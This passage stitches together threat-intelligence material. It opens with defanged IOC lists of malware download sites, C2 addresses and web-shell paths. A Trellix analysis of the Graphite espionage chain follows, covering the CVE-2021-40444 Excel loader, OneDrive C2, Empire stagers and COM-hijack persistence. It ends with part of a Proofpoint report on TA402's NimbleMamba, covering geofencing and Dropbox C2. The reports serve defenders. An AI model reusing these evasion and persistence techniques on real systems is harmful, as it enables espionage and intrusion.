]com/ccrs_tool/uploads/new_war.exe hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/ma/mmmaaaacccccc.exe hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/client.exe hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/private.exe hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/notice.exe hxxp://service[.]clickaway[.
]com/swings/haryanatourism/gita-jayanti/invited.exe 31/32 hxxp://service[.]clickaway[.
]com/swings/haryanatourism/gita-jayanti/details.exe hxxps://www[.]ramanujan[.]edu[.
]in/cctv-footage/footage-346.exe hxxp://thedigitalpoint[.]co[.
]in/zomato/vouchers/zomato-voucher.zip hxxp://66[.]154[.
]112.212/GOM.exe hxxps://dsoipalamvihar[.]co[.
]in/manage/OperatorImages/exe/GOM_Player.exe File Enumerator C2s hxxp://64[.]188[.]13[.
]46/oiasjdoaijsdoiasjd/ warzone/AveMaria C2s 5[.]252[.]179[.
]221:6200 64[.]188[.]13[.
]46 netwireRC C2s 66[.]154[.]103[.
]106:13374 66[.]154[.]103[.
]106:13371 66[.]154[.]103[.
]106:13377 Malicious archive download locations hxxps://www.unicauca[.]edu[.
]co/regionalizacion/sites/default/files/Meeting-details.zip hxxps://www.unicauca[.]edu[.
]co/regionalizacion/sites/default/files/kavach-1-5/kavach-2-instructions.zip hxxp://www.unicauca[.]edu[.
]co/regionalizacion/sites/default/files/kavach-1-5/KAVACH-INSTALLATION- V3.zip hxxps://dsoipalamvihar[.]co[.
]in/pdf/important_notice.zip hxxp://lms[.]apsdigicamp[.
]com/webapps/uploads/acc/cctv-footages/student-termination-and-proof.zip hxxp://beechtree[.]co[.
]in/Admin/IconImages/progress-reports/Progress-report-43564.zip RunPe download URLs hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/RunPe.dll Misc URLs hxxps://www[.]dropbox[.
]com/s/w8tc18w2lv1kv6d/msovb.vbs?dl1 hxxps://www[.]dropbox[.
]com/s/lt7a981theoyajy/adobecloud.7z hxxps://pastebin[.
]com/raw/mrwtZi34 32/32 Malicious server-side script URLs hxxp://lms[.]apsdigicamp[.
]com/webapps/uploads/resume/mailer.php.zip hxxp://lms[.]apsdigicamp[.
]com/webapps/uploads/resume/mailer.php/mailer.php hxxp://lms[.]apsdigicamp[.
]com/webapps/uploads/resume/mailer.php hxxp://lms[.]apsdigicamp[.
]com/webapps/uploads/resume/4O4.php hxxp://lms[.]apsdigicamp[.
]com/webapps/uploads/resume/b374k_rs.pl hxxp://lms[.]apsdigicamp[.
]com/webapps/uploads/resume/pack.php hxxp://lms[.]apsdigicamp[.
]com/webapps/uploads/resume/cc.php hxxp://lms[.]apsdigicamp[.
]com/webapps/uploads/resume/leafmailer2.8.php hxxp://lms[.]apsdigicamp[.
]com/webapps/uploads/acc/oodi.html hxxp://lms[.]apsdigicamp[.
]com/webapps/uploads/progress-report/ hxxp://lms[.]apsdigicamp[.
]com/webapps/uploads/progress-report/index.html hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/1594066203_4O4.php hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/mailer.php hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/leaf.php hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/leafmailer2.8.php hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/1622640929_myshell.php hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/newfil.html hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/1594066203_ang3l.html hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/1594066203_up.htm
1/23 Prime Ministers Office Compromised: Details of Recent Espionage Campaign trellix.com/en-gb/about/newsroom/stories/threat-labs/prime-ministers-office-compromised.html By Marc Elias  January 25, 2022 A special thanks to Christiaan Beek, Alexandre Mundo, Leandro Velasco and Max Kersten for malware analysis and support during this investigation.
Executive Summary Our Advanced Threat Research Team have identified a multi-stage espionage campaign targeting high-ranking government officials overseeing national security policy and individuals in the defense industry in Western Asia.
As we detail the technical components of this attack, we can confirm that we have undertaken pre-release disclosure to the victims and provided all necessary content required to remove all known attack components from their environments.
The infection chain starts with the execution of an Excel downloader, most likely sent to the victim via email, which exploits an MSHTML remote code execution vulnerability (CVE- 2021-40444) to execute a malicious executable in memory.
The attack uses a follow-up piece of malware called Graphite because it uses Microsofts Graph API to leverage OneDrive as a command and control servera technique our team has not seen before.
Furthermore, the attack was split into multiple stages to stay as hidden as possible.
Command and control functions used an Empire server that was prepared in July 2021, and the actual campaign was active from October to November 2021.
The below blog will explain the inner workings, victimology, infrastructure and timeline of the attack and, of course, reveal the IOCs and MITRE ATTCK techniques.
A number of the attack indicators and apparent geopolitical objectives resemble those associated with the previously uncovered threat actor APT28.
While we dont believe in attributing any campaign solely based on such evidence, we have a moderate level of confidence that our assumption is accurate.
That said, we are supremely confident that we are dealing with a very skilled actor based on how infrastructure, malware coding and operation were setup.
Trellix customers are protected by the different McAfee Enterprise and FireEye products that were provided with these indicators.
Analysis of the Attack Process https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/prime-ministers-office-compromised.html https://www.trellix.com/en-gb/about/newsroom/stories/contributors/marc-elias.html https://www.trellix.com/en-gb/about/newsroom/stories/contributors/christiaan-beek.html https://www.trellix.com/en-gb/about/newsroom/stories/contributors/max-kersten.html https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-defender-blog-mshtml-cve-2021-40444/ 2/23 This section provides an analysis of the overall process of the attack, beginning with the execution of an Excel file containing an exploit for the MSHTML remote code execution vulnerability (CVE-2021-40444) vulnerability.
This is used to execute a malicious DLL file acting as a downloader for the third stage malware we called Graphite.
Graphite is a newly discovered malware sample based on a OneDrive Empire Stager which leverages OneDrive accounts as a command and control server via the Microsoft Graph API.
The last phases of this multi-stage attack, which we believe is associated with an APT operation, includes the execution of different Empire stagers to finally download an Empire agent on victims computers and engage the command and control server to remotely control the systems.
The following diagram shows the overall process of this attack.
Figure 1.
Attack flow First Stage  Excel Downloaders As suggested, the first stage of the attack likely uses a spear phishing email to lure victims into opening an Excel file, which goes by the name parliament_rew.xlsx.
Below you can see the identifying information for this file: File type Excel Microsoft Office Open XML Format document File name parliament_rew.xlsx File size 19.26 KB Compilation time 05/10/2021 MD5 8e2f8c95b1919651fcac7293cb704c1c SHA-256 f007020c74daa0645b181b7b604181613b68d195bd585afd71c3cd5160fb8fc4 https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-defender-blog-mshtml-cve-2021-40444/ 3/23 Figure 2.
Decoy text observed in the Excel file In analyzing this files structure, we observed that it includes a folder named customUI that contains a file named customUI.xml.
Opening this file with a text editor, we observed that the malicious document uses the CustomUI.OnLoad property of the OpenXML format to load an external file from a remote server: customUI xmlnshttp://schemas.microsoft.com/office/2006/01/customui onLoadhttps://wordkeyvpload[.
]net/keys/parliament_rew.xls123 /customUI This technique allows the attackers to bypass some antivirus scanning engines and office analysis tools, decreasing the chances of the documents being detected.
The downloaded file is again an Excel spreadsheet, but this time it is saved using the old Microsoft Office Excel 97-2003 Binary File Format (.xls).
Below you can see the identifying information of the file: File type Microsoft Office Excel 97-2003 Binary File Format File name parliament_rew.xls File size 20.00 KB Compilation time 05/10/2021 MD5 abd182f7f7b36e9a1ea9ac210d1899df SHA-256 7bd11553409d635fe8ad72c5d1c56f77b6be55f1ace4f77f42f6bfb4408f4b3a Analyzing the metadata objects, we can identify that the creator was using the codepage 1252 used in Western European countries and the file was created on October 5th, 2021.
4/23 Figure 3.
Document metadata Later, we analyzed the OLE objects in the document and discovered a Linked Object OLEStream Structure which contains a link to the exploit of the CVE-2021-40444 vulnerability hosted in the attackers server.
This allows the document to automatically download the HTML file and subsequently call the Internet Explorer engine to interpret it, triggering the execution of the exploit.
Figure 4.
Remote link in OLE object In this blog post we wont examine the internals of the CVE-2021-40444 vulnerability as it has already been publicly explained and discussed.
Instead, we will continue the analysis on the second stage DLL contained in the CAB file of the exploit.
Second Stage  DLL Downloader The second stage is a DLL executable named fontsubc.dll which was extracted from the CAB file used in the exploit mentioned before.
You can see the identifying information of the file below: File type PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit 5/23 File name fontsubc.dll File size 88.50 KB Compilation time 28/09/2021 MD5 81de02d6e6fca8e16f2914ebd2176b78 SHA-256 1ee602e9b6e4e58dfff0fb8606a41336723169f8d6b4b1b433372bf6573baf40 This file exports a function called CPlApplet that Windows recognizes as a control panel application.
Primarily, this acts a downloader for the next stage malware which is located at hxxps://wordkeyvpload[.]net/keys/update[.
]dat using COM Objects and the API URLOpenBlockingStreamW.
Figure 5.
Download of next stage malware After downloading the file, the malware will decrypt it with an embedded RSA Public Key and check its integrity calculating a SHA-256 of the decrypted payload.
Lastly, the malware will allocate virtual memory, copy the payload to it and execute it.
6/23 Figure 6.
Payload decryption and execution Before executing the downloaded payload, the malware will compare the first four bytes with the magic value DE 47 AC 45 in hexadecimal if they are different, it wont execute the payload.
Figure 7.
Malware magic value Third Stage  Graphite Malware The third stage is a DLL executable, never written to disk, named dfsvc.dll that we were able to extract from the memory of the previous stage.
Below you can see the identifying information of the file: File type PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit File name dfsvc.dll File size 24.00 KB 7/23 Compilation time 20/09/2021 MD5 0ff09c344fc672880fdb03d429c7bda4 SHA-256 f229a8eb6f5285a1762677c38175c71dead77768f6f5a6ebc320679068293231 We named this malware Graphite due to the use of the Microsoft Graph API to use OneDrive as command and control.
It is very likely that the developers of Graphite used the Empire OneDrive Stager as a reference due to the similarities of the functionality and the file structure used in the OneDrive account of the actors.
Figure 8.
Empire OneDrive stager API requests Graphite starts by creating a mutex with the hardcoded name 250gHJAWUI289382s3h3Uasuh289di to avoid double executions, decrypt the strings and resolve dynamically the APIs it will use later.
Moreover, it will calculate a bot identifier to identify the infected computer which is a CRC32 checksum of the value stored in the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Cryptography\MachineGuid.
Figure 9.
Graphite initializations Next, the malware will create a thread to monitor the execution of tasks and upload its results to the OneDrive account.
Result files will be uploaded to the update folder of the attackers OneDrive account.
8/23 Figure 10.
Thread to monitor task results After that, the malware will enter into an infinite loop where every 20 minutes it will obtain a new OAuth2 token to use with the Microsoft Graph API requests and determine if there are new tasks to execute in the check folder of the attackers OneDrive account.
Figure 11.
Request of new OAuth2 token Once it obtained a valid OAuth2 token, reconnaissance data is gathered containing the following information from the victims systems: Running processes .NET CLR version from PowerShell 9/23 Windows OS version The data is compressed using the LZNT1 algorithm and encrypted with a hardcoded AES- 256-CBC key with a random IV.
The operator tasks are encoded in the same way.
Finally, the file containing the system information is uploaded to the folder BOT_ID/update in OneDrive with a random name.
Figure 12.
Graphite encoding data Graphite will also query for new commands by enumerating the child files in the check subdirectory.
If a new file is found, it will use the Graph API to download the content of the file and decrypt it.
The decrypted tasks have two fields the first one is a unique identifier of the task and the second one specifies the command to execute.
The command value 1 will instruct the malware to send the system information to the command and control again, which is the attackers OneDrive.
The command value 2 indicates that the decrypted task is a shellcode, and the malware will create a thread to execute it.
10/23 Figure 13.
Graphite commands If the received task is a shellcode, it will check the third field with the magic value DE 47 AC 45 in hexadecimal and, if they are different, it wont execute the payload.
The rest of the bytes of the task is the shellcode that will be executed.
Lastly, the task files are deleted from the OneDrive after being processed.
Figure 14.
Decrypted operator task The diagram below summarizes the flow of the Graphite malware.
11/23 Figure 15.
Graphite execution diagram Fourth Stage  Empire DLL Launcher Stager The fourth stage is a dynamic library file named csiresources.dll that we were able to extract from a task from the previous stage.
The file was embedded into a Graphite shellcode task used to reflectively load the executable into the memory of the process and execute it.
Below you can see the identifying information of the file: File type PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit File name csiresources.dll File size 111.00 KB Compilation time 21/09/2021 MD5 138122869fb47e3c1a0dfe66d4736f9b SHA-256 25765faedcfee59ce3f5eb3540d70f99f124af4942f24f0666c1374b01b24bd9 12/23 The sample is a generated Empire DLL Launcher stager that will initialize and start the .NET CLR Runtime into an unmanaged process to execute a download-cradle to stage an Empire agent.
With that, it is possible to run the Empire agent in a process thats not PowerShell.exe.
First, the malware will check if the malware is executing from the explorer.exe process.
If it is not, the malware will exit.
Figure 16.
Process name check Next, the malware will try to find the file EhStorShell.dll in the System32 folder and load it.
With this, the malware makes sure that the original EhStorShell.dll file is loaded into the explorer.exe context.
Figure 17.
Loading EhStorShell.dll library The previous operation is important because the follow-up malware will override the CLSID D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D to gain persistence in the victims system, performing a COM Hijacking technique.
The aforementioned CLSID corresponds to the Enhanced Storage Shell Extension DLL and is handled by the file EhStorShell.dll.
Coming up next, the malware will load, initialize and start the .NET CLR Runtime, XOR decrypt the .NET next stage payload and load it into memory.
Lastly, it will execute the file using the .NET Runtime.
Figure 18.
Decryption of next stage malware 13/23 Fifth Stage  Empire PowerShell C Stager The fifth stage is a .NET executable named Service.exe which was embedded and encrypted in the previous stage.
Below you can see the identifying information of the file: File type PE32 executable for MS Windows (console) Intel 80386 32-bit File size 34.00 KB MD5 3b27fe7b346e3dabd08e618c9674e007 SHA-256 d5c81423a856e68ad5edaf410c5dfed783a0ea4770dbc8fb4943406c316a4317 This sample is an Empire PowerShell C Stager whose main goal is to create an instance of a PowerShell object, decrypt the embedded PowerShell script using XOR operations and decode it with Base64 before finally executing the payload with the Invoke function.
Figure 19.
Fifth stage code The reason behind using a .NET executable to load and execute PowerShell code is to bypass security measures like AMSI, allowing execution from a process that shouldnt allow it.
Sixth Stage  Empire HTTP PowerShell Stager The last stage is a PowerShell script, specifically an Empire HTTP Stager, which was embedded and encrypted in the previous stage.
Below you can see the identifying information of the file: File type Powershell script File size 6.00 KB MD5 a81fab5cf0c2a1c66e50184c38283e0e SHA-256 da5a03bd74a271e4c5ef75ccdd065afe9bd1af749dbcff36ec7ce58bf7a7db37 14/23 As we mentioned earlier, this is the last stage of the multi-stage attack and is an HTTP stager highly obfuscated using the Invoke-Obfuscation script from Empire to make analysis difficult.
Figure 20.
Obfuscated PowerShell script The main functionality of the script is to contact hxxp://wordkeyvpload[.]org/index[.
]jsp to send the initial information about the system and connect to the URL hxxp://wordkeyvpload[.]org/index[.
]php to download the encrypted Empire agent, decrypt it with AES-256 and execute it.
Timeline of Events Based on all the activities monitored and analyzed, we provide the following timeline of events: Figure 21.
Timeline of the campaign Targeting One of the lure documents we mentioned before (named parliament_rew.xlsx) might have been aimed for targeting government employees.
Besides targeting government entities, it appears this adversary also has its sights on the defense industry.
Another document with the name Missions Budget.xlsx contained the text Military and civilian missions and operations and the budgets in dollars for the military operations in some countries for the years 2022 and 2023.
15/23 Figure 22.
Lure document targeting the defense sector Moreover, from our telemetry we also have observed that Poland and other Eastern European countries were of interest to the actors behind this campaign.
The complete victimology of the actors is unknown, but the lure documents we have seen show its activities are centered in specific regions and industries.
Based on the names, the content of the malicious Excel files and our telemetry, it seems the actors are targeting countries in Eastern Europe and the most prevalent industries are Defense and Government.
Infrastructure Thanks to the analysis of the full attack chain, two hosts related to the attack were identified.
The first domain is wordkeyvpload.net which resolves to the IP 131.153.96.114, located in Serbia and registered on the 7th of July 2021 with OwnRegistrar Inc. Querying the IP with a reverse DNS lookup tool, a PTR record was obtained resolving to the domain bwh7196.bitcoinwebhosting.net which could be an indication that the server was bought from the Bitcoin Web Hosting VPS reseller company.
Figure 23.
Reverse DNS query The main functionality of this command-and-control server is to host the HTML exploit for CVE-2021-40444 and the CAB file containing the second stage DLL.
The second domain identified is wordkeyvpload.org which resolves to the IP 185.117.88.19, located in Sweden, and registered on the 18th of June 2021 with Namecheap Inc. Based on the operating system (Microsoft Windows Server 2008 R2), the HTTP server (Microsoft- 16/23 IIS/7.5) and the open ports (1337 and 5000) it is very likely the host is running the latest version of the Empire post-exploitation framework.
The reason behind that hypothesis is that the default configuration of Empire servers uses port 1337 to host a RESTful API and port 5000 hosts a SocketIO interface to interact remotely with the server.
Also, when deploying a HTTP Listener, the default value for the HTTP Server field is hardcoded to Microsoft-IIS/7.5.
Figure 24.
Local Empire server execution with default configuration With the aforementioned information, as well as the extraction of the command and control from the last stage of the malware, we can confirm that this host acts as an Empire server used to remotely control the agents installed in victims machines and send commands to execute them.
Attribution During the timeline of this operation there have been some political tensions around the Armenian and Azerbaijani border.
Therefore, from a classic intelligence operation point of view, it would make complete sense to infiltrate and gather information to assess the risk and movements of the different parties involved.
17/23 Throughout our research into the Graphite campaign, we extracted all timestamps of activity from the attackers from our telemetry and found two consistent trends.
First, the activity days of the adversary are from Monday to Friday, as depicted in the image below: Figure 25.
Adversarys working days Second, the activity timestamps correspond to normal business hours (from 08h to 18h) in the GMT3 time zone, which includes Moscow Time, Turkey Time, Arabia Standard Time and East Africa Time.
18/23 Figure 26.
Adversarys working hours Another interesting discovery during the investigation was that the attackers were using the CLSID (D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D) for persistence, which matched with an ESET report in which researchers mentioned a Russian Operation targeting Eastern European countries.
Analyzing and comparing code-blocks and sequences from the graphite malware with our database of samples, we discovered overlap with samples in 2018 being attributed to APT28.
We compared for example our samples towards this one: 5bb9f53636efafdd30023d44be1be55bf7c7b7d5 (sha1): 19/23 Figure 27 Code comparison of samples When we zoom in on some of the functions, we observe on the left side of the below picture the graphite sample and on the right the forementioned 2018 sample.
With almost three years in time difference, it makes sense that code is changed, but still it looks like the programmer was happy with some of the previous functions: 20/23 Figure 28 Similar function flow Although we mentioned some tactics, techniques and procedures (TTPs) of the actors behind this campaign, we simply do not have enough context, similarities or overlap to point us with low/moderate confidence towards APT28, let alone a nation-state sponsor.
However, we believe we are dealing with a skilled actor based on how the infrastructure, malware coding and operation was setup.
Conclusion The analysis of the campaign described in this blog post allowed us to gather insights into a multi-staged attack performed in early October, leveraging the MSHTML remote code execution vulnerability (CVE-2021-40444) to target countries in Eastern Europe.
As seen in the analysis of the Graphite malware, one quite innovative functionality is the use of the OneDrive service as a Command and Control through querying the Microsoft Graph API with a hardcoded token in the malware.
This type of communication allows the malware to go unnoticed in the victims systems since it will only connect to legitimate Microsoft domains and wont show any suspicious network traffic.
Thanks to the analysis of the full attack process, we were able to identify new infrastructure acting as command and control from the actors and the final payload, which is an agent from the post-exploitation framework Empire.
All the above allowed us to construct a timeline of the activity observed in the campaign.
The actors behind the attack seem very advanced based on the targeting, the malware and the infrastructure used in the operation, so we presume that the main goal of this campaign is espionage.
With a low and moderate confidence, we believe this operation was executed by APT28.
To further investigate, we provided some tactics, techniques and procedures (TTPs), indicators on the infrastructure, targeting and capabilities to detect this campaign.
MITRE ATTCK Techniques Tactic Resource Development T1583.001 Acquire Infrastructure: Domains Attackers purchased domains to be used as a command and control.
wordkeyvpload[.
]net wordkeyvpload[.
]org Resource Development T1587.001 Develop capabilities: Malware Attackers built malicious components to conduct their attack.
Graphite malware 21/23 Resource Development T1588.002 Develop capabilities: Tool Attackers employed red teaming tools to conduct their attack.
Empire Initial Access T1566.001 Phishing: Spear phishing Attachment Adversaries sent spear phishing emails with a malicious attachment to gain access to victim systems.
BM- D(2021)0247.xlsx Execution T1203 Exploitation for Client Execution Adversaries exploited a vulnerability in Microsoft Office to execute code.
CVE-2021-40444 Execution T1059.001 Command and Scripting Interpreter: PowerShell Adversaries abused PowerShell for execution of the Empire stager.
Empire Powershell stager Persistence T1546.015 Event Triggered Execution: Component Object Model Hijacking Adversaries established persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
CLSID: D9144DCD- E998-4ECA-AB6A- DCD83CCBA16D Persistence T1136.001 Create Account: Local Account Adversaries created a local account to maintain access to victim systems.
net user /add user1 Defense Evasion T1620 Reflective Code Loading Adversaries reflectively loaded code into a process to conceal the execution of malicious payloads.
Empire DLL Launcher stager 22/23 Command and Control T1104 Multi-Stage Channels Adversaries created multiple stages to obfuscate the command-and- control channel and to make detection more difficult.
Use of different Empire stagers Command and Control T1102.002 Web Service: Bidirectional Communication Adversaries used an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel.
Microsoft OneDrive Empire Server Command and Control T1573.001 Encrypted Channel: Symmetric Cryptography Adversaries employed a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.
AES 256 Command and Control T1573.002 Encrypted Channel: Asymmetric Cryptography Adversaries employed a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.
RSA Indicators of Compromise (IOCs) First stage  Excel Downloaders 40d56f10a54bd8031191638e7df74753315e76f198192b6e3965d182136fc2fa f007020c74daa0645b181b7b604181613b68d195bd585afd71c3cd5160fb8fc4 23/23 7bd11553409d635fe8ad72c5d1c56f77b6be55f1ace4f77f42f6bfb4408f4b3a 9052568af4c2e9935c837c9bdcffc79183862df083b58aae167a480bd3892ad0 Second stage  Downloader DLL 1ee602e9b6e4e58dfff0fb8606a41336723169f8d6b4b1b433372bf6573baf40 Third stage  Graphite 35f2a4d11264e7729eaf7a7e002de0799d0981057187793c0ba93f636126135f f229a8eb6f5285a1762677c38175c71dead77768f6f5a6ebc320679068293231 Fourth stage  DLL Launcher Stager 25765faedcfee59ce3f5eb3540d70f99f124af4942f24f0666c1374b01b24bd9 Fifth stage  PowerShell C Stager d5c81423a856e68ad5edaf410c5dfed783a0ea4770dbc8fb4943406c316a4317 Sixth stage  Empire HTTP Powershell Stager da5a03bd74a271e4c5ef75ccdd065afe9bd1af749dbcff36ec7ce58bf7a7db37 URLs hxxps://wordkeyvpload[.
]net/keys/Missions Budget Lb.xls hxxps://wordkeyvpload[.
]net/keys/parliament_rew.xls hxxps://wordkeyvpload[.
]net/keys/Missions Budget.xls hxxps://wordkeyvpload[.
]net/keys/TR_comparison.xls hxxps://wordkeyvpload[.
]net/keys/JjnJq3.html hxxps://wordkeyvpload[.
]net/keys/iz7hfD.html hxxps://wordkeyvpload[.
]net/keys/Ari2Rc.html hxxps://wordkeyvpload[.
]net/keys/OD4cNq.html hxxps://wordkeyvpload[.
]net/keys/0YOL4.cab hxxps://wordkeyvpload[.
]net/keys/whmel.cab hxxps://wordkeyvpload[.
]net/keys/UdOpQ.cab hxxps://wordkeyvpload[.
]net/keys/D9V5E.cab hxxps://wordkeyvpload[.
]net/keys/update.dat hxxps://wordkeyvpload[.
]org/index.jsp hxxps://wordkeyvpload[.
]org/index.php hxxps://wordkeyvpload[.
]org/news.php hxxps://wordkeyvpload[.
]org/admin/get.php hxxps://wordkeyvpload[.
]org/login/process.php Domains wordkeyvpload[.
]net wordkeyvpload[.
]org jimbeam[.
]live IPs 131.153.96[.
]114 185.117.88[.
]19 94.140.112[.
]178
1/15 February 2, 2022 Ugg Boots 4 Sale: A Tale of Palestinian-Aligned Espionage proofpoint.com/us/blog/threat-insight/ugg-boots-4-sale-tale-palestinian-aligned-espionage Blog Threat Insight Ugg Boots 4 Sale: A Tale of Palestinian-Aligned Espionage February 08, 2022 Konstantin Klinger, Joshua Miller, and Georgi Mladenov Key Takeaways TA402, a likely Palestinian-aligned advance persistent threat actor, has recently engaged in campaigns leveraging a new implant, dubbed by Proofpoint analysts as NimbleMamba.
NimbleMamba is likely a replacement for the groups previously used LastConn implant.
These campaigns have a complex attack chain that leverages geofencing and URL redirects to legitimate sites in order to bypass detection efforts.
Overview In late 2021, Proofpoint analysts identified a complex attack chain targeting Middle Eastern governments, foreign policy think tanks, and a state-affiliated airline.
Over three months, Proofpoint observed three subtle variations of this attack chain.
Proofpoint attributes these campaigns to TA402, an actor commonly tracked as Molerats and believed to be operating in the interest of the Palestinian Territories.
Based on Proofpoints research, TA402 is a persistent threat to organizations and governments in the Middle East, routinely updating not only their malware implants, but also their delivery methods.
After publication of Proofpoints TA402 research in June 2021, TA402 appeared to halt its activities for a short period of time, almost certainly to retool.
Proofpoint researchers believe they used that time to update their implants and delivery mechanisms, using malware dubbed NimbleMamba and BrittleBush.
TA402 also regularly uses geofencing techniques and varied attack chains which complicate detection efforts for defenders.
Campaign Details https://www.proofpoint.com/us/blog/threat-insight/ugg-boots-4-sale-tale-palestinian-aligned-espionage https://www.proofpoint.com/us/blog https://www.proofpoint.com/us/blog/threat-insight https://www.proofpoint.com/us/blog/threat-insight/new-ta402-molerats-malware-targets-governments-middle-east 2/15 Figure 1.
TA402 attack chain November 2021 to January 2022.
In the recently observed campaigns, TA402 used spear phishing emails containing links that often lead to malicious files.
Proofpoint observed three different URL types in those campaigns.
Variation 1: Actor-Controlled Domain (November 2021) In a November 2021 campaign, TA402 masqueraded as the Quora website while using an actor-controlled Gmail account with an actor-controlled domain.
The malicious URL, such as https[:]//www[.]uggboots4sale[.
]com/news15112021.php, in the phishing email was geofenced to the targeted countries.
If the targets IP address fits into the targeted region, the user would be redirected to the RAR file download containing the latest TA402 implant, NimbleMamba.
If outside the target area, the user would be redirected to a legitimate news site, Figure 2.
3/15 Figure 2.
Benign redirect to legitimate news site https[:]www[.]emaratalyoum[.
]com.
Variation 2: Dropbox URL (December 2021) In December 2021, TA402 used multiple phishing pretenses, including clickbait medical lures and ones allegedly sharing confidential geopolitical information.
TA402 continued to use an actor-controlled Gmail account but shifted to Dropbox URLs to deliver the malicious RAR files containing NimbleMamba.
This shift away from actor-controlled domains meant that TA402 could no longer geofence their payloads.
Proofpoint discovered that TA402 is not only abusing Dropbox services for delivery of NimbleMamba, but also for malware command and control (C2).
Proofpoint has shared our investigation and analysis with Dropbox prior to publication, and they took the needed actions for neutralizing the activity within their organization.
Variation 3: WordPress Redirect Actor-Controlled Domain (December 2021/January 2022) In their latest campaigns, TA402 continued to use lure content customized for each of their targets but slightly adjusted their attack chain by inserting an additional actor-controlled WordPress URL.
That WordPress site (Figure 3), which impersonates a news aggregator of the legitimate news site from Variation 1, likely redirects to the download site of the malicious RAR files containing NimbleMamba if the visitor is coming from an IP within the 4/15 targeted region.
If the source IP address does not align with the target region, the URL will redirect the recipient to a benign website, typically an Arabic language news website (Figure 2).
Figure 3.
Example WordPress site (https[:]//emaratalyoumcom[.]wordpress[.
]com/) impersonating an Arabic language news aggregator.
The use of geofenced URLs, Dropbox URLs and then redirect URLs demonstrate TA402s determination to blend in with legitimate email traffic and infect targets with NimbleMamba.
Malware Analysis: NimbleMamba Each variant of TA402s attack chain led to a RAR file containing one or multiple malicious compressed executables.
These executables include a TA402 implant Proofpoint dubbed NimbleMamba and oftentimes an additional trojan Proofpoint named BrittleBush.
NimbleMamba is almost certainly meant to replace LastConn, which Proofpoint reported about in June 2021.
LastConn was likely an updated version of the SharpStage malware, reported by Cybereason in December 2020.
While NimbleMamba and https://www.proofpoint.com/us/blog/threat-insight/new-ta402-molerats-malware-targets-governments-middle-east https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf 5/15 LastConn have some similarities, such as being written in C, base64 encoding within the C2 framework, and use of the Dropbox API for C2 communication, there appears to be little code overlap between the two.
NimbleMamba uses guardrails to ensure that all infected victims are within TA402s target region.
NimbleMamba uses the Dropbox API for both command and control as well as exfiltration.
The malware also contains multiple capabilities designed to complicate both automated and manual analysis.
Based on this, Proofpoint assesses NimbleMamba is actively being developed, is well-maintained, and designed for use in highly targeted intelligence collection campaigns.
For this malware analysis, Proofpoint researchers analyzed the following two samples: NimbleMamba is written in C and delivered as an obfuscated .NET executable using third- party obfuscators.
Both samples analyzed used the SmartAssembly obfuscator.
Additionally, the malware does basic virtual machine checks to avoid detection by looking for common strings that indicate a sample is running in a virtual environment.
Guardrails NimbleMamba contains multiple guardrails to ensure that the malware only executes on targeted machines.
It uses the following IP resolving web services to check the users IP address and determine if it fits into the target region.
This is done to avoid detection and SHA256 Sample 1 c61fcd8bed15414529959e8b5484b2c559ac597143c1775b1cec7d493a40369d Sample 2 430c12393a1714e3f5087e1338a3e3846ab62b18d816cc4916749a935f8dab44 https://www.red-gate.com/products/dotnet-development/smartassembly/ 6/15 analysis.
api[.]ipify[.
]com (https://www.ipify.org) myexternalip[.
]com (https://myexternalip.com) ip-api[.
]com (https://ip-api.com) api[.]ipstack[.
]com (https://ipstack.com) If the machine is unable to connect to those services, the malware will keep calling the addresses in random order, thus putting the execution in an endless loop in closed network environments.
The malware will only continue executing if the country of the resolved IP address country code matches one from the following table or if the host computer has an Arabic language pack (code AR) installed.
Code Country KW Kuwait EG Egypt IL Israel SA Saudi Arabia IR Iran AE United Arab Emirates TN Tunisia DZ Algeria SY Syria QA Qatar JO Jordan https://www.ipify.org/ https://myexternalip.com/ https://ip-api.com/ https://ipstack.com/ 7/15 OM Oman PS Palestine LB Lebanon LY Libya SS South Sudan SSD Soud Sudan (Alpha-3 code, probably added by accident) IQ Iraq YE Yemen MA Morocco BH Bahrain Configuration NimbleMambas configuration is retrieved from a paste on the website JustPasteIt.
NimbleMamba takes the current timestamp from an online real-time service to ensure that the timestamp matches the current time.
Some computers may have modified time settings and this method ensures that the time is standardized across infections.
The obtained timestamp is then used to generate a JustPasteIt URL with the algorithm in Figure 4.
https://justpaste.it/ 8/15 Figure 4.
Python implementation of NimbleMambas JustPasteIt algorithm.
When there is an active paste under the generated URL, it should look like this: 9/15 Figure 5.
Example of JustePasteIt paste content.
The data taken from the paste service is split by  and then each split by  to form the following two key-value pairs.
Key Value ACSS IFK641c5_RQj32p_HvJF14U3eu3iQIl1vYncq-5- g4aMKQAAAAAAAAAAQ6MoiJpHT88KFIEQQ2SH5 OOOO 40,1ckZnB3a45mMpRTTYplNiNmZ ACSS contains the obfuscated Dropbox account API auth key that is used for C2 communication.
The malware then takes the external IP address, username and computer name retrieved earlier, writes them as comma-separated strings, base64 encodes them with stripped padding bytes and then reverses the string.
